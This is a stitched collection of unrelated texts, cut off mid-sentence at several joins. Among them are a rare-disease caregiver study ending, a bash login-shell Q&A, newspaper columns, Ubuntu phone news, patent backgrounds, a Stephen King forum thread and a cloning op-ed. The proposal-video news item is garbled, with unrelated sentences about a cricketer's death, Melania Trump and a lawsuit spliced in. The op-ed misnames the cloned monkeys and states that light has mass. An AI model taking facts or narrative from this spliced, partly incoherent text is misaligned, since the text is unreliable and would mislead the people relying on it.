Davis, 785 F.2d at 613-614 (emphasis added).
Contreras, of |
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] | caregivers of pediatric rare diseases. Despite the limited treatment options available for many rare pediatric diseases, simple, targeted resources for emotional support may greatly improve the lives of families dealing with rare diseases.
Appendix A. Supplementary data {#s0175}
==============================
Supplementary materialImage 1
Acknowledgements {#s0155}
================
The authors would like to thank the study participants, as well as the Global Foundation for Peroxisomal Disorders for the opportunity to collect this data at their family conference.
Funding {#s0160}
=======
This study was supported by a Rare Patient Impact Grant from Global Genes to MB and MBG, a Training and Career Development Award to MB (10 U54 DK 83916) from the Rare Disease Clinical Research Network, and the Sterol and Isoprenoid Research Consortium to WBR (U54 HD061939) of the National Center for Advancing Translational Sciences and the *Eunice Kennedy Shriver* National Institute of Child Health and Human Development, NIH, and the Global Foundation for Peroxisomal Disorders.
Conflicts of interest {#s0165}
=====================
Authors have no relevant conflicts of interests to disclose.
Authors contributions {#s0170}
=====================
MB, MM, KMG & MBG --- Conception and design.
MB, MM, DRS & RKC --- Analysis and interpretation of data.
MB, MM, DRS, JBR, KMG & WBR --- Drafting/revising the article.
Supplementary data to this article can be found online at <https://doi.org/10.1016/j.ymgmr.2019.100459>.
[^1]: *ZSD;* Zellweger spectrum disorder.
[^2]: One caregiver had 2 children with ZSD in two different age ranges.*ZSD;* Zellweger spectrum disorder, DBPD; D-bifunctional protein deficiency.
[^3]: Included sample quotes were chosen to reflect responses from all focus groups.
[^4]: Sample quotes reflecting the most common emotional response based on frequency (number of comments) and extensiveness (number of participants making comments). *ZSD;* Zellweger spectrum disorder, *DBPD;* D-bifunctional protein deficiency.
[^5]: Included sample quotes were chosen to reflect responses from all focus groups.
[^6]: Most common stressors based on frequency (number of comments) and extensiveness (number of participants making comments). *ZSD;* Zellweger spectrum disorder, *DBPD;* D-bifunctional protein deficiency.
[^7]: Included sample quotes were chosen to reflect responses from all focus groups.
[^8]: Most common cognitive coping strategy based on frequency (number of comments) and extensiveness (number of participants making comments).
[^9]: Most common cognitive behavioral strategy based on frequency (number of comments) and extensiveness (number of participants making comments). *ZSD;* Zellweger spectrum disorder, *DBPD;* D-bifunctional protein deficiency; *GFPD;* Global Foundation for Peroxisomal Disorders.
608 F.2d 522
Paramount Warrior, Inc.v.Commissioner of Internal Revenue
No. 77-1687
United States Court of Appeals, Fifth Circuit
11/20/79
1
U.S.T.C.
AFFIRMED
Concha bullosa: reducing middle meatal adhesions by preserving the lateral mucosa as a posterior pedicle flap.
Concha bullosa, an extensively pneumatized middle turbinate, may obstruct the paranasal sinuses. Messerklinger's partial lateral turbinectomy is commonly used to debulk the concha bullosa, leaving a raw surface with the potential for adhesions. A modified technique of partial lateral turbinectomy is described. A posterior pedicled mucosal flap covers the inferior raw surface of the medial lamella of the middle turbinate. Three-month follow up of a consecutive series is compared with concurrent controls. Two (7 per cent) of 28 posterior pedicled flap and four (21 per cent) of 19 traditional partial lateral turbinectomies developed mild middle meatal adhesions (p = 0.011). Posterior pedicled flap reduced the need for post-operative cleaning of the middle meatus. The posterior pedicled mucosal flap is a simple modification to partial lateral turbinectomy that covers the raw surface facing the lateral nasal wall, significantly reducing adhesions and speeding recovery.Q:
Why do I need to run "/bin/bash --login"
I have just setup a new Ubuntu 13.10 server with ruby 2.1.1 installed through rvm.
The problem is that whenever I switch to the user "rails" (the user I installed ruby and rails with) I have to run /bin/bash --login before Ubuntu recognises that ruby, rails or rvm is installed.
Hope someone knows:
What does the command above do?
why do i need to run it?
and what can i do to solve it once and for all? :)
Any help is appreciated!
A:
It sounds like the environment necessary for the system to find the installed ruby components is specified in a file that only gets read for login shells. The bash manual page has this to say about the difference between login shells and non-login shells:
INVOCATION
A login shell is one whose first character of argument zero is a -, or
one started with the --login option.
and
When bash is invoked as an interactive login shell, or as a non-inter‐
active shell with the --login option, it first reads and executes com‐
mands from the file /etc/profile, if that file exists. After reading
that file, it looks for ~/.bash_profile, ~/.bash_login, and ~/.profile,
in that order, and reads and executes commands from the first one that
exists and is readable.
whereas
When an interactive shell that is not a login shell is started, bash
reads and executes commands from /etc/bash.bashrc and ~/.bashrc, if
these files exist.
Hence if the ruby environment variables are in /home/rails/.profile or /etc/profile for example, they will be added to the shell environment
by explicitly invoking a login shell using su -l rails or su --login rails or the shorthand su - rails
when user rails logs in via SSH
by starting a subshell as bash --login after login
If you want the ruby environment to be set regardless of how you switch to user rails, you could move the relevant variable definitions to the user's ~/.bashrc instead.
A:
I know that this question was asked 2 years ago, but in case if somebody (like me) still facing it: @steeldriver is right -- you are missing something in your bashrc which you do have in one of those 3 files. In my case I just needed to add this line into mine ~/.bashrc:
[[ -s "$HOME/.rvm/scripts/rvm" ]] && source "$HOME/.rvm/scripts/rvm"
While a moment is being captured, making an unwanted presence felt in the frame is good fun.
Pryztula's 11-year-old daughter Kayleigh, the designated videographer, doubles over in a fit a giggles.
It shows three-year-old Owen Anter dropping his trousers as Przytula is heard telling Anter, "I love you with all my heart". Do you've got a narrative for The Solar On-line information crew? You know, the string quartet springing out at exactly the right time, the waiter taking the dessert concealing your ring to the right table. "Are you serious?!" Anter exclaims in blissful surprise.
England player dies in Sri Lanka
Both men were admitted to hospital on Sunday after they started suffering from breathing problems following a night out. They were staying at a hotel in the capital Colombo after playing a match on Saturday, he told the paper.
The couple began potty-training Owen a month ago, and are trying to teach him that he can not relieve himself in public places.
"We let him sometimes pee outside at home and we are trying to work on not just going wherever he wants", Anter said.
Owen is caught stealing the show because he just had to go.
"That's kind our life story, that video is our life story, for sure", Przytula said.
Though Facebook has since deleted the video that the lovebirds shared online, Przytula said it had over 56,000 views and roughly 300 shares.
Related Articles
An embolisation is a minimally invasive treatment that blocks one or more blood vessels or abnormal vascular channels. US first lady Melania Trump arrives in the Rose Garden to speak at the White House May 7, 2018 in Washington, DC.
A rep for Ajayi tells TMZ Sports the lawsuit is bogus. adamantly denying Jay ever physically pushed the owner of the home. Ajayi was traded from the Miami Dolphins to the Eagles during the 2017 season and will be a free agent after this season.
They said the increased number of customers also brought an increase in the number of onboard incidents involving those animals. For flights scheduled to be over eight hours, guests must also provide an animal sanitation form |
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] | lay a ten percent 'surtax smack down' (SSD) on all repeat offenders. The surtax would kick in only after, say, television, movie or record company owners and producers refused to clean up any obvious images or language which consistently degraded women. Video game and toy makers would also be subject to this mandatory SSD.
If after ignoring an initial warning by the SSD police, an offender refused to comply with the regulation, a surtax would automatically be levied. The money would then be credited to organizations that help female victims of violence and to education programs designed to re-sensitize the creators and purveyors of blatantly obscene material. It wouldn't be long before some entertainment conglomerate CEO's felt the sting of a shrinking bottom-line and begin to police themselves.
For now, we have people like Sabrena Parton, assistant professor of communications at Kenesaw State University and a manager of a Wal-Mart in Cartersville, Georgia, to thank for their complaints of how the Road Rage Al Snow action figures make light of violence against women.
It's time we let the people responsible for providing this new brand of humor know that we are not amused; otherwise, we may continue down the road to laughing ourselves to death.
Resolve to make more snow angels
Dec. 26, 2000
What Canadian adult cannot remember the simple childhood joy of creating a snow angel? Or recall the fascination of seeing an angelic image appear, as if by magic, from thrashing about on the cold snowy ground?
About a year ago, many of us were too preoccupied with and paralyzed by Y2K angst to either, reflect on childhood memories, or seriously ponder the year that lay ahead. If you recall, all the media hype had, even the most optimistic among us, hoarding provisions and hunkering down in our basement bunkers like Mad Max Road Warriors.
Y2K bug anxiety became a financial bonanza for enterprising computer wizards and crafty Chicken Littles. Thankfully, the industrialized world avoided the widely heralded computer meltdown. Now that the sting has been taken out of the Y2K bug, it's time to leave the dark, post-apocalyptic visions behind and focus on the redemptive power of a well-chosen New Year's resolution.
The real beauty of every January first is that we can choose to view the new year as a blanket of freshly fallen snow, upon which each of us can carve our individual snow angels.
I'd like to dedicate my final community column to all those souls who are in need of a little levity and the healing potential of rebirth that this time of year provides. As the spirit of the year 2000 slowly fades, I'd like to share with you some of my serious and not so serious personal resolutions for 2001. In 2001 I resolve to:
Never again utter or write the term Y2K, unless of course someone offers me a lucrative book or movie-of-the-week deal relating to Y2K.
Use the word 'Survivor' - only as it relates to people who are really struggling to survive.
Not waste my time watching any athletes who are paid thousands of dollars per minute - unless I am really, really bored or it is playoff time.
Donate my next government tax rebate cheque to a political party genuinely dedicated to solving the affordable housing crisis. (This may take a while.)
Listen to at least one Blink 182 song (one my oldest daughter's favorite music groups), instead of blinking in disbelief 182 times after receiving my post-Christmas credit card statement.
Watch the classic Christmas films 'A Christmas Carol' and 'It's A Wonderful Life' at least five times. (This is to help counteract the effects of five years of the government's 'Grinch-like' cutbacks to Ontario's once-renowned social safety net.)
Avoid anything Harry Potter-related, unless of course my ten-year-old daughter asks me to read something from her Harry Potter collection to her.
Never get sucked in by another Y2K-type scam. (See previous Y2K resolution.)
Listen to as many Judy Garland songs (one of my childhood idols) as possible.
Put more crazy stickers on my students' assignments.
Join my children in making snow angels.
Listen to at least one John Lennon song and do something in my community to promote peace.
Avoid anything remotely related to the World Wrestling Federation- unless I am really, really bored and the playoffs are over.
Rent as many videos as possible, to get caught up on all the movies I couldn't afford to see at the theater.
Watch Stanley Kubrick's classic film '2001: A Space Odyssey'. (The apes at the beginning crack me up.)
Save a least one tree by asking Ontario health minister, Elizabeth Witmer, to recycle the paper used from all the cheques issued to hospitals during the past few years.
Never surrender to the rebellious trend of wearing my baseball cap sideways (I currently wear it backwards.) Freak windstorms excluded.
Visit the spectacular 'wonders of winter' light displays in Waterloo Park. (We could all use a lot more light at this time of year.)
Strive to raise more money for meningitis research (2nd annual Michael Longo Memorial Golf Classic) than was raised during our inaugural tournament in 2000.
What will your snow angel look like? What kind of mark or gift will you resolve to leave behind in your family and community in the year ahead? Seize the day and let the odyssey in 2001 begin!
The poor and dispossessed need our help
March 20, 2000
The late American senator, Robert F. Kennedy, once said that every time a person stands up for an ideal, or works to improve the lot of others, or battles injustice, they send forth a tiny ripple of hope.
So it goes with the hundreds of unsung front line social activists and countless dedicated volunteers, who toil daily on behalf of the poor and dispossessed in our community.
Unfortunately, advocates for such basic necessities as decent affordable housing and a living wage, face a backlash of public resentment that threatens to paralyze them and those citizens least able to defend themselves.
Today's social lepers are families on welfare, who have been bludgeoned by severe budget cuts. They are the disaffected, whose minds, bodies and spirits have been warped by years of chronic abuse and neglect. They fall through the cracks and drift aimlessly from one shelter to the next.
They are the nearly homeless; the myriad of families and seniors teetering on the edge, who, tragically, must often decide between paying the rent or feeding themselves. Most do not cheat the system; yet, once they are painted with the same broad brush, are widely perceived as doing so.
They all suffer the wrath incurred by vindictive new welfare laws. A cruel, selective form of justice that, conveniently, excludes wealthy tax cheats who bury white-collared crimes in bureaucratic loopholes.
It's time to shed some light on those who help lessen the burden and ease the pain of the outcasts in this community and beyond. These people are not superhuman. Nor do they harbor any mysterious powers the rest of us are somehow denied.
They are our friends and neighbors. They are our husbands and wives, our brothers and sisters. They are our parents and grandparents. They are our children; the idealistic youth from the elementary, secondary, and post-secondary institutions that traverse and enrich this vibrant, diverse tapestry called Waterloo region.
They voluntarily organize numerous food and clothing drives to help sustain our needy neighbors, as well as victims of natural disasters and war in countries such as Kosovo and Nicarauga.
They spearhead inner-city walks, solidarity fasts and anti-racism campaigns. They help their peers glimpse what it must be like to experience poverty, persecution and discrimination, while walking a mile in the shoes of the disenfranchised.
They are the numerous volunteers for the organization, Habitat For Humanity, who strive to make housing more affordable. They are the generous local high school students helping lower-income families build their own homes, by giving them a hand up, not just a hand out.
As a millennium project at my own school, students raised over $10,000 in just two weeks. Enough to construct a decent house for a destitute family from Central America, whose lives were ravaged by Hurricane Mitch.
A plethora of other such charitable deeds by selfless individuals abound but often go unheralded in this community. These people have responded to Pope John Paul II's Jubilee challenge to 'lift up the downtrodden and set prisoners free'. They are our own local heroes who deserve our collective praise, prayers and support.
But despite these laudable acts - recent local and provincial reports clearly indicate that poverty is getting worse. We must act now and demand that our provincial and federal governments join forces with private industry to create a national millennium project.
We must assign our brightest people and resources to help solve the affordable housing crisis and break the vicious cycle of poverty now threatening to decimate the most vulnerable members in our society.
We cannot leave the poor behind, as social safety nets are gutted and sacrificed on the altar of global competition. We can no longer afford to wash our hands of this social and moral travesty or defer this attainable dream.
Imagine |
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] | Nexus 7 (2013) tablet to keep using the official Ubuntu Touch builds, in case you don’t already own one of these two devices.
The first true Ubuntu phones are expected to arrive later this year, as the company has confirmed it’s already working with at least one OEM on such devices. A few days ago, the Meizu MX3 has been spotted running Ubuntu, although it’s not clear at this time whether the device will officially support the mobile OS or not.
Canonical’s mobile plans haven’t been a secret for a long while, but the company is yet to actually launch its first Ubuntu handset. However, the Meizu MX3 has been spotted running Ubuntu in images and videos.
Images and even a video showing the handset in action with Canonical’s mobile OS on top have been leaked on Weibo from an official Meizu account, PocketNow reports. However, that doesn’t mean the phone will become the first Ubuntu phone, or one of the models expected to launch in the next months, as Canonical is yet to say anything on the matter. Check out the video below to see Ubuntu running on the handset.
]]>https://www.androidauthority.com/meizu-mx3-ubuntu-images-video-333244/feed/10Ubuntu coming to high-end smartphones during 2014https://www.androidauthority.com/ubuntu-smartphones-in-2014-323746/
https://www.androidauthority.com/ubuntu-smartphones-in-2014-323746/#commentsWed, 11 Dec 2013 09:38:40 +0000https://www.androidauthority.com/?p=323746Canonical announced the launch of Ubuntu for phones back in January, but other than the unfortunate Ubuntu Edge episode there hasn’t really been much news about the fledgling mobile version of the popular Linux distribution. However, Mark Shuttleworth, the founder of Canonical and its product strategy leader, has now revealed that the company has signed its first agreement to ship Ubuntu on mobile phones!
[quote qtext=”We have concluded our first set of agreements to ship Ubuntu on mobile phones.” qperson=”Mark Shuttleworth” qsource=”” qposition=”left”]Shuttleworth didn’t reveal who Ubuntu’s new OEM partner is, but he did say that Ubuntu will come to high-end phones during 2014. It also looks like this first deal is but one of many. “We are now pretty much at the board level on four household brands. They sell a lot of phones all over the world, in emerging and fully emerged markets, to businesses and consumers,” said Shuttleworth.
Ubuntu is designed to work on two types of smartphone, the entry level device which needs to have a dual-core processor and at least 512 MB of RAM, and the high-end that needs a quad-core processor with at least 1GB of RAM. The main difference between the two is that the high-end “Superphone” can also act as a PC when connected to a monitor, keyboard and mouse! If this is the type of high-end phone that Shuttleworth is talking about then 2014 could be a very interesting year indeed!
The mobile operating system market is becoming increasingly crowded and newcomers will find it difficult to make an impact. Besides Android and iOS, companies like Microsoft and BlackBerry are trying to increase their market shares while newer offerings such as Firefox OS and Tizen are trying to gain a foothold. Is there room for Ubuntu? Clearly Canonical thinks there is. Along with partnerships with popular online services like Facebook, Twitter, Dropbox, Evernote, Amazon and Pinterest, Ubuntu has a secret weapon. Thanks to the Ubuntu SDK, native apps can be written to work across all versions of Ubuntu, on the desktop, Smart TVs, Ubuntu tablets and Ubuntu smartphones. This is something that Google and Apple don’t offer and something that Microsoft has botched with Windows.
Canonical has done a good job of getting carrier endorsements. Networks like Vodafone, 3, EE, KT, SK Telecom, Verizon, Deutsche Telecom, T-Mobile, PT, and others have all endorsed Ubuntu for smartphones. These companies have all signed up to Ubuntu’s Carrier Advisory Group which lets mobile operators shape Ubuntu’s mobile strategy.
Shuttleworth sees mobile as a key part of Ubuntu’s future. Although Canonical isn’t profitable today it could be if the company just focused on its PC and server business and dropped mobile. However, Shuttlworth thinks that dropping mobile would give Canonical “a lifespan measured in years, not decades.”
Since Ubuntu is an open source operating system, and Canonical will share the code openly, and thanks to the Ubuntu SDK developers, carriers and manufacturers are already able to build apps for Ubuntu. The question is, will they?
Android users have been able to play around with Canonical’s mobile build of Ubuntu for a while now, but today Ubuntu “Saucy Salamander” 13.10 finally has reached ‘stable’ status. This means Ubuntu 13.10 is finally ready to go as an everyday platform – well at least almost.
The desktop variant seems fully ready, but the mobile build is still lacking in several key ways. First, there are almost no apps that are optimized for tablets and smartphones. Second, only a select amount of Android devices are able to run it. Third, no official Ubuntu phones will exist until next year.
Additionally, one of the biggest selling points isn’t there yet. We’re talking about the ability to transform Ubuntu to a traditional desktop experience when hooked to a TV or monitor, which is unfortunately not present in Ubuntu 13.10.
The problem is that the desktop/server version of Ubuntu still uses the older X Window system, while the mobile build requires the new mobile-friendly display server, Mir. The situation won’t change until Mir rolls out to the desktop/server version in Ubuntu 14.04, sometime in April.
[quote qtext=”The desktop at this stage doesn’t fully support the new graphics architecture that is now enabled on the phone OS. It’s something we are working very rapidly towards.” qperson=”Richard Collins” qsource=”Canonical product manager for mobile” qposition=”center”]
Beyond the lack of desktop ‘mode’ and scarce amount of apps, Canonical also admits that certain areas of usability still need to be addressed before Ubuntu is really ready to work as a true Android alternative.
Long story short:Ubuntu’s mobile efforts have come a long way since the project was first officially announced at the beginning of the year, but they’re still nowhere near close to where they need to be if Canonical is interested in seriously competing in the mobile arena.
What do you think of Ubuntu’s mobile ambition, still looking forward to Ubuntu on your mobile device or not?
Because Canonical opted for a fixed funding campaign, it won’t get to keep the money it raised and all backers will be refunded their contributions.
According to an update from Canonical founder Mark Shuttleworth, almost 20,000 people have contributed to the campaign with hundreds of dollars each, along with three businesses that opted for the $7000 Enterprise Starter Kit perk and one massive contribution from Bloomberg LP, which contributed $80,000.
Ubuntu Edge broke the record for the largest crowdfunded sum, which was previously held by the Pebble smartwatch Kickstarter project. Still, Pebble remains that largest successful campaign ever.
It’s safe to say that the Ubuntu Edge campaign was very successful from the perspective of raising awareness about Canonical’s Ubuntu Phone project. The fact that several thousand people were ready to pay $700 or more for a phone that doesn’t even exist is very encouraging from Canonical’s plans to bring to market by 2014 the first devices running Ubuntu Phone, a mobile-optimized version of Linux.
What about Ubuntu Edge? The dual-booting (Android + Ubuntu Phone) device raised the pulse of quite a few technology fans. Will it ever make it to market? Mark Shuttleworth hinted that a new campaign is possible:
[quote qtext=”“Who knows, perhaps one day we’ll take everything we’ve learned from this campaign — achievements and mistakes — and try it all over again.”” qperson=”” qsource=”” qposition=”center”]
And there’s always the possibility that Edge will be founded by a corporate backer or through venture capital.1. Field of the Invention
The present invention relates to a method of manufacturing an organic electroluminescence (EL) display device.
2. Description of the Related Art
A generally known display device having organic EL elements mounted thereon is a device in which pixels each having a single or a plurality of organic EL elements are arranged in a predetermined pattern. By those pixels, a display region of the display device is two-dimensionally divided with high definition. The organic EL elements in the pixels are electronic elements which output, for example, any one of red light, green light, and blue light. A display device having organic EL elements mounted thereon obtains a full-color image by driving the organic EL elements for outputting desired colors at desired emission intensities.
Under such circumstances, a method of producing a display device having a fine organic EL element with high definition by a photolithography process is proposed. Japanese Patent No. 3839276 proposes a method involving forming a photoresist into a film directly on an emission layer. When the method is adopted, the photoresist to be used generally contains large amounts of a photoinitiator, a crosslinking agent, and the like |
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] | some mail in the Inbox using the check-column, and dragged that mail into a folder, then selected some more mail in the Inbox, and hit the Del key, will the group of emails that were dragged into the other folder be deleted too, because I didn't unselect them?
is there a way to search in all folders, rather than just the current folder?
A:
No, the moved documents get unselected, so they shouldn't have been deleted.
Use Full-text search (open your mail db > View > Toolbar > Search)
For any other database (other than mail db), open Application properties > go to sixth (Full Text) tab > select Create index.
Note that you have to be at least Designer in ACL to manipulate (create, change its properties, delete) db's full-text index.
St. Petersburg-based Catalina reduced its debt from $1.9 billion to $276 million as a result of restructuring.
According to a press release, the financially restructured St. Petersburg company has reduced its debt from $1.9 billion to $276 million, a decrease of 85%.
"This is an exciting day for Catalina as we just became a stronger and very competitive company with solid cash flow, low debt, a healthy balance sheet and a robust digital product pipeline," Catalina President and CEO Jerry Sokol states in the release. "We believe we have the best media and data platforms, and we are accelerating our investment in disruptive technologies to further Catalina's in-store, digital, data and advanced analytics businesses to help our customers transform the buyer experience. We are also fortifying our buyer intelligence data and adding depth to our personalization capabilities to power our new digital products and solutions."
Now owned by its creditors, Catalina also announced that Michael Bailey has been appointed chief technology officer, reporting to Sokol. Bailey, the release states, boasts executive leadership experience at Diversified Foodservice Supply, Sygen International, PeoplePC and Staples.
"Catalina has a diverse mix of skillsets and some of the smartest people in the industry, as well as a compelling set of offerings that drive results for an impressive group of customers," Bailey states in the release. "I am excited to extend our technology capabilities in short order to unlock new personalization capabilities.”
Weil, Gotshal & Manges LLP served as legal counsel, Centerview Partners LLC served as financial adviser and FTI Consulting served as restructuring adviser to Catalina during its Chapter 11 bankruptcy proceedings.In der Türkei sorgt ein neuer Gesetzentwurf derzeit für Empörung. Dem Entwurf zufolge könnten Vergewaltiger von Minderjährigen straffrei davonkommen, und zwar dann, wenn sie und ihr Opfer nach der Tat einvernehmlich heiraten. Das türkische Parlament will noch in diesen Tagen über den Gesetzentwurf abstimmen.
Das berichten mehrere Medien, darunter der britische "Independent". Laut Bericht soll das sogenannte "Marry your Rapist"-Gesetz Ende Januar vorgestellt werden. Aus der Sicht von Kritikern würde das Gesetz den Weg für Kindesmissbrauch und sexuelle Ausbeutung ebnen. Zudem würden Kinderheirat und Vergewaltigung dadurch gesetzlich legitimiert.
Frauenrechtlerin: Gesetzentwurf ist "schockierend"
Die Frauenrechtlerin Suad Abu-Dayyeh sagte gegenüber der "Independent", es sei "schockierend", dass Politiker versuchten, ein Gesetz zu verabschieden, das "Tätern, die Kinder sexuell ausbeuten, Straffreiheit gewährt." Unterdessen begrüße sie es, dass Frauenrechtsaktivistinnen in der Türkei gegen das "diskriminierende Gesetz" ankämpften.
Auch die Vereinten Nationen zeigten sich bestürzt über das Vorhaben. So könnten Vergewaltiger ihre Opfer weiter misshandeln, zumindest aber wären die Opfer ihren Vergewaltigern hilflos ausgesetzt.
Zwar würden Vergewaltiger auch künftig bestraft, und zwar dann, wenn das Opfer einer Heirat nicht zustimmt. Allerdings könnten Vergewaltiger ihr Opfer dann wiederum unter Druck setzen und zu einer Heirat nötigen.Google Stadia Adds 10 Games to Launch Lineup
After the lacklustre announcement made up of a dozen launch games, three of which could be bundled up, Google has announced that they’ll be adding 10 more games to Stadia’s launch lineup. The new additions were revealed by Google vice president and general manager Phil Harrison via Twitter.
Excited to announce that we are INCREASING the Day One launch line-up of titles for @GoogleStadia – we now have TWENTY TWO games launching with the platform on Tuesday. Huge thank you to our game developer and publisher partners for bringing more titles #stadia
Most of these games were announced to be coming to the streaming service before the year ends, so it’s not surprising Google was able to bump up their arrival to the platform to launch day.
Still, with just 22 games at launch, it’s hard to be excited for Google Stadia this early, especially with the amount of value Microsoft seems to be packing with their upcoming xCloud service. xCloud already boasts 50 titles in its lineup even though it’s still in the preview stage. Microsoft also announced at the recently concluded X019 that they’ll be allowing Xbox Game Pass games to be played through the service at no additional charge.
Google Stadia launches on November 19th for those who purchased the Founder’s Edition or the Premiere Edition.If this is your first visit, be sure to
check out the FAQ by clicking the
link above. You may have to register
before you can post: click the register link above to proceed. To start viewing messages,
select the forum that you want to visit from the selection below.
Big Wheels: A tale of the laundry game (Milkman 2)
Is it just me or is this one of his weirdest stories? It never makes sense to me. It's kind of funny with the drunken guys, but I can never see how the elements fit together.
The first Milkman story is more of a short vignette about a creep delivering nasty surprises with the morning milk, rather than a real story. There isn't much to understand, beyond that it's a creepy idea.
This one has a guy complaining about holes in his back, caused by water dripping through the roof of a laundry game; it has the milkman
again who ran off with the main character's wife, but for some reason is still following him around; it has a garage owner who is suggested to have killed a couple years ago - he keeps the hood ornament of the car they were found in, and in the end the car of the murdered couple (which for some reason is still driving around) crashes onto the main character's.
Re: Big Wheels: A tale of the laundry game (Milkman 2)
Re: Big Wheels: A tale of the laundry game (Milkman 2)
Is Johnny Cash a serious reply or just joking? Is the story related to a song or songs by him?
I guess it's just plain weird then, as I always thought. It's just when a number of elements are there, but it's hard to see a plot, you feel like you might be missing something. Actually this is the only one of his stories I can recall that is like this, where in the end you're scratching your head and think 'What was that all about?' Usually, even when not all questions are answered, you can tell what it was about clearly.
Re: Big Wheels: A tale of the laundry game (Milkman 2)
"Big Wheels: A Tale of the Laundry Game (Milkman #2)" is a short story by Stephen King, first published in the 1980 anthology New Terrors, edited by Ramsey Campbell, and collected in King's 1985 collection Skeleton Crew. It was adapted from an unfinished novel called "The Milkman." The events in this story follow the events of the previously unpublished short story, "Morning Deliveries (Milkman #1)", which appears in the same collection.
Its plot centers around two laundry workers named Rocky and Leo in a small Pennsylvanian town. After finishing up a shift at work, the men are driving around, getting drunk, and searching for an auto-inspection station. The inspection certification on Rocky's car runs out at midnight and he needs to find somewhere that will renew it. They are drunk and getting drunker, drinking Iron City beer, which have the likeness of Pittsburgh Steelers players on them. They finally come across an inspection station owned by an old friend of Rocky's, Bob Driscroll. Rocky crashes the car into Bob's garage and in the ensuing verbal confrontation Bob recognizes him. They then reminisce about old times while Bob inspects Rocky's vehicle for certification. Rocky and |
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] | proximity to many different pairs spanning different portions of its length. At a telephone CO (central office), pairs in close proximity may carry diverse types of service using various modulation schemes, with considerable differences in signal levels (and receiver sensitivities) especially for pairs of considerably different lengths.
There are generally two types of crosstalk mechanisms that are characterized, one being FEXT and the other one being near-end crosstalk (NEXT). FEXT refers to electromagnetic coupling that occurs when the receiver on a disturbed pair is located at the far end of the communication line as the transmitter of a disturbing pair. Self induced far end crosstalk (self-FEXT) generally refers to interference caused by neighboring lines provisioned for the same type of service as the affected line, or “victim line.” In contrast, NEXT results from a disturbing source connected at one end of the wire pair which causes interference in the message channel at the same end as the disturbing source. Current approaches to addressing crosstalk suffer from various perceived shortcomings. While vectored systems are effective in addressing such disturbances as self-FEXT, various types of interferences such as radio frequency interference (RFI), power line communications (PLC), common mode noise, and impulse nose remain an issue.Three cheers for China’s cloned monkeys
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It’s unlikely that you have not heard of ‘Dolly’ the sheep, famously announced as the first mammal ever to be successfully cloned, in February 1997 (Dolly was born in July 1996). Dolly was a product of Somatic Cell Nuclear Transfer (SCNT), which involved taking an adult cell from the udder of a female sheep and using the nucleus from that cell to replace the nucleus of an egg from another female sheep. The egg was successfully encouraged to fuse with the new nucleus using electric shocks and then began to divide as would a normal embryo. The fused egg was implanted into a third female sheep for gestation. Dolly, bizarrely, had three mothers, and was a genetic clone of the mother who donated the udder cells (hence Dolly — a jokey nod to Dolly Parton that has yet to attract the ire of #MeToo).
Last week, scientists from Shanghai’s Chinese Academy of Sciences Institute of Neuroscience reported that they had used a similar SCNT technique to clone two macaque monkeys – called Zhong Zhong and Hua Hua. Cloning of animals by SCNT had been previously reported in 23 other mammal species, including mice, cattle, pigs, rats, cats and dogs, but had never before been reported in a primate species. The relative genetic closeness of humans and monkeys has generated a lot of handwringing and concerns about the now nearer possibility of human cloning.
Most reports have, however, downplayed that possibility. The eventual birth of Zhong Zhong and Hua Hua followed the production of 260 early embryos, resulting in 43 pregnancies of which 41 failed. Such failure rates would not be tolerated as reasonable to produce human offspring. Also, the SCNT technique used to produce Zhong Zhong and Hua Hua were only successful with cells taken from fetal rather than adult tissue. The attempts made with adult tissue all failed. Although we do have a primate clone, therefore, we still do not have a primate clone generated from adult cells as was the case for Dolly. That makes the prospect of cloning as a fertility treatment, and more fanciful suggestions of rearing a clone of an adult or recently deceased relative, currently distant.
The major benefits of cloning are not going to be as a treatment for infertility, at least not in the immediate future. Instead, cloning offers the possibility of providing replica animals for commercial (farming), environmental (species recovery) or medical (disease modelling) purposes. Animals that yield higher quantities and quality of meat can be cloned so that their gene line is reproduced exactly and preserved indefinitely without the vagaries and gamble of sexual reproduction. Species teetering on the brink of extinction can be preserved through cloning techniques that put more of the animals back into the wild. Treatments that need to be tested in a controlled genetic environment can have that environment reproduced over and over through cloning.
These benefits are real and of obvious importance, but the benefits of cloning are not necessary to make what has happened in China an amazing breakthrough. What is being missed in much of the reporting on Zhong Zhong and Hua Hua is what an incredible demonstration of human ingenuity this is, and how far it shows we have gone in knocking down dogmatic beliefs about what humans cannot do.
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In the middle of the 18th century, Lavoisier declared on behalf of the French Academy of Sciences that ‘rocks don’t fall from the sky’, an idea overturned by mass observation of rocks falling from the sky at Barbotan, France in 1790. Following Lavoisier, the French philosopher August Comte announced in 1842 that the internal structure or composition of distant stars and planets will be forever unknown to us because they are too far away. In 1895, William Ramsay reported a ‘glorious yellow effulgence’ given off by a uranium mineral — the same effulgence he had observed gushing off the surface of the Sun 25 years previously.
1895 was precisely the moment Lord Kelvin chose to announce that ‘heavier-than-air flying machines are impossible’. The Wright brothers took just eight years to prove him wrong. In 1920 the New York Times claimed that space travel would be impossible because no craft could accelerate in space, and in 1957 the American inventor of the vacuum tube, Lee De Forest, stated that a manned voyage to the moon ‘will never occur regardless of all future advances’. In 1969 Apollo 11 made its way to the moon, and the New York Times retracted its previous statement.
Einstein famously dismissed nuclear power as impossible. In 1934, he told the Pittsburgh Post Gazette, ‘There is not the slightest indication that [nuclear energy] will ever be obtainable. It would mean that the atom would have to be shattered at will.’ In 1954, the USSR delivered domestic electricity from its nuclear power plant in Obninsk. Einstein did, however, help overturn the dogma that light has no mass and therefore cannot be effected by gravity. The famous demonstration by Eddington that light is deflected by the sun’s gravity in the eclipse of 1919 confirmed the central predictions of Einstein’s general theory of relativity. That observation made the existence of black holes, previously dismissed as ridiculous, suddenly very possible.
The discussion of Zhang Zhang and Hua Hua has been similarly dismissive of what science can achieve. Robin Lovell-Badge of the Francis Crick Institute, who does excellent work and is often very measured in his comments, was widely reported as saying, ‘While they succeeded in obtaining cloned macaques, the numbers are too low to make many conclusions, except that it remains a very inefficient and hazardous procedure… with only two [clones] produced it would have been far simpler to just split a normal early embryo into two, to obtain identical twins… [Human cloning] clearly remains a very foolish thing to attempt: it would be far too inefficient, far too unsafe, and it is also pointless.’
Such comments are sadly dismissive. Of course first attempts are going to involve a lot of errors. Shoukhrat Mitalipov of the Oregon Health and Science University in Portland estimates he used more than 15,000 monkey eggs in cloning attempts in the 2000s, with not a single live birth. All science is inefficient and hazardous in its first steps. If that stops us, then we take no further steps forward. Similarly, there will always be alternatives. We didn’t need to fly. We could have rode a horse, or walked, or just stayed home. And light has mass? So what? Does knowing about black holes help us?
